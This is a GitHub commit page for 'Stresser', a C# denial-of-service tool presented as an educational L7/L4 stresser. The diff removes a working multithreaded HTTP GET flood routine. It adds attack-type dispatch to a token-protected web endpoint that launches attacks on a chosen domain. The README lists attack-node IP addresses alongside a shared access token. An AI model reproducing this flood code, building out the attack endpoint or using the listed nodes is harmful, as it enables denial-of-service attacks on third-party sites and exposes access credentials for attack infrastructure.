Skip to content

Commit

Permalink
PUSH
Browse files Browse the repository at this point in the history
-> Added L4 TCP/UDP I said that I wont but yeah
  • Loading branch information
NaysKutzu committed Apr 29, 2024
1 parent 4debd65 commit 97008e8
Show file tree
Hide file tree
Showing 28 changed files with 451 additions and 55 deletions.
3 changes: 1 addition & 2 deletions .github/README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
# Stresser
A free l7 stresser for educational and testing purposes only!
A free l7/l4 stresser for educational and testing purposes only!


# !! WARRNING !!
Expand Down Expand Up @@ -53,7 +53,6 @@ And now just make sure you configure your settings inside `/root/config.ini`!
# Are there any nodes i can get for free for testing?
Sure
```text
141.144.253.29:1492 Z4kok2LVferBPQ39rBhkywJjthFmehik
158.178.196.227 Z4kok2LVferBPQ39rBhkywJjthFmehik
158.180.32.161 Z4kok2LVferBPQ39rBhkywJjthFmehik
```
4 changes: 3 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
/obj
/bin
/.mono
/.mono
/Stresser*/obj
/Stresser*/bin
39 changes: 2 additions & 37 deletions Helpers/Flood.cs
Original file line number Diff line number Diff line change
@@ -1,46 +1,11 @@
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;

namespace Stresser.Helpers.Flood
{
public class Flood
{
private static readonly HttpClient _client = new HttpClient();

public static async Task SendGetRequests(string url, int threads, int requestsPerSecond, int durationSeconds)
{
var tasks = new List<Task>();

for (int i = 0; i < threads; i++)
{
tasks.Add(Task.Run(() => FireRequests(url, requestsPerSecond, durationSeconds)));
}

await Task.WhenAll(tasks.ToArray());
}

private static async Task FireRequests(string url, int requestsPerSecond, int durationSeconds)
{
var delay = (int)(1000.0 / requestsPerSecond); // Convert to milliseconds

var stopwatch = Stopwatch.StartNew();
while (stopwatch.Elapsed.TotalSeconds < durationSeconds)
{
try
{
await _client.GetAsync(url);
}
catch (Exception)
{
// Handle exceptions if needed
}

await Task.Delay(delay);
}
}

public static async Task Start(string targetUrl, int threads, int requestsPerSecond, int durationSeconds)
{
await SendGetRequests(targetUrl, threads, requestsPerSecond, durationSeconds);
}
}
}
2 changes: 1 addition & 1 deletion Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -34,7 +34,7 @@ public static void Start()
string port = ConfigHelper.GetSetting("webserver", "port");
string host = ConfigHelper.GetSetting("webserver", "host");
hLogger.Log(LogType.Info, "Please wait while we start the webserver at " + host + ":" + port);
wbs.Start(port, host);
//wbs.Start(port, host);
}

public static void Stop()
Expand Down
28 changes: 16 additions & 12 deletions Services/WebServerService.cs
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@ public void Start(string d_port, string d_host)
{
int port = int.Parse(d_port);
IPAddress hostIp;
#pragma warning disable CS8600 // Converting null literal or possible null value to non-nullable type.
if (IPAddress.TryParse(d_host, out hostIp))
{
options.Listen(hostIp, port);
Expand All @@ -28,6 +29,7 @@ public void Start(string d_port, string d_host)
{
options.ListenAnyIP(port);
}
#pragma warning restore CS8600 // Converting null literal or possible null value to non-nullable type.
})
.Configure(ConfigureApp)
.Build();
Expand All @@ -49,6 +51,7 @@ private static async Task ProcessRequest(HttpContext context)
switch (action)
{
case "status":
Program.hLogger.Log(LogType.Info, $"Got am request for status");
await ExecuteStatusAction(response);
break;
case "attack":
Expand All @@ -57,12 +60,23 @@ private static async Task ProcessRequest(HttpContext context)
form.TryGetValue("threads", out var threads) &&
form.TryGetValue("rspt", out var rspt) &&
form.TryGetValue("token", out var token) &&
form.TryGetValue("time", out var time))
form.TryGetValue("time", out var time) &&
form.TryGetValue("type", out var type))
{
if (token == ConfigHelper.GetSetting("webserver", "token"))
{
Program.hLogger.Log(LogType.Info, $"Attack started on {domain} for {time}s !");
ExecuteAttackAction(response, domain, threads, rspt, time);
if (type == "L7")
{
#pragma warning disable CS4014 // Because this call is not awaited, execution of the current method continues before the call is completed
//ExecuteHTTPAttackAction(response, domain, threads, rspt, time);
#pragma warning restore CS4014 // Because this call is not awaited, execution of the current method continues before the call is completed
}
if (type == "L4") {
#pragma warning disable CS4014 // Because this call is not awaited, execution of the current method continues before the call is completed
//ExecutePINGAttackAction(response, domain, threads, rspt, time);
#pragma warning restore CS4014 // Because this call is not awaited, execution of the current method continues before the call is completed
}
await WriteErrorResponse(response, HttpStatusCode.OK, "OK");
}
else
Expand Down Expand Up @@ -120,16 +134,6 @@ private static async Task ExecuteStatusAction(HttpResponse response)
await WriteJsonResponse(response, HttpStatusCode.OK, statusResponse);
}

private static async Task ExecuteAttackAction(HttpResponse response, string domain, string threads, string delay, string time)
{
var attackResponse = new
{
message = $"OK"
};
await Flood.Start(domain, int.Parse(threads), int.Parse(delay), int.Parse(time));
await WriteJsonResponse(response, HttpStatusCode.OK, attackResponse);
}

private static async Task WriteJsonResponse(HttpResponse response, HttpStatusCode statusCode, object responseObject)
{
var jsonResponse = JsonConvert.SerializeObject(responseObject);
Expand Down
Loading

0 comments on commit 97008e8

Please sign in to comment.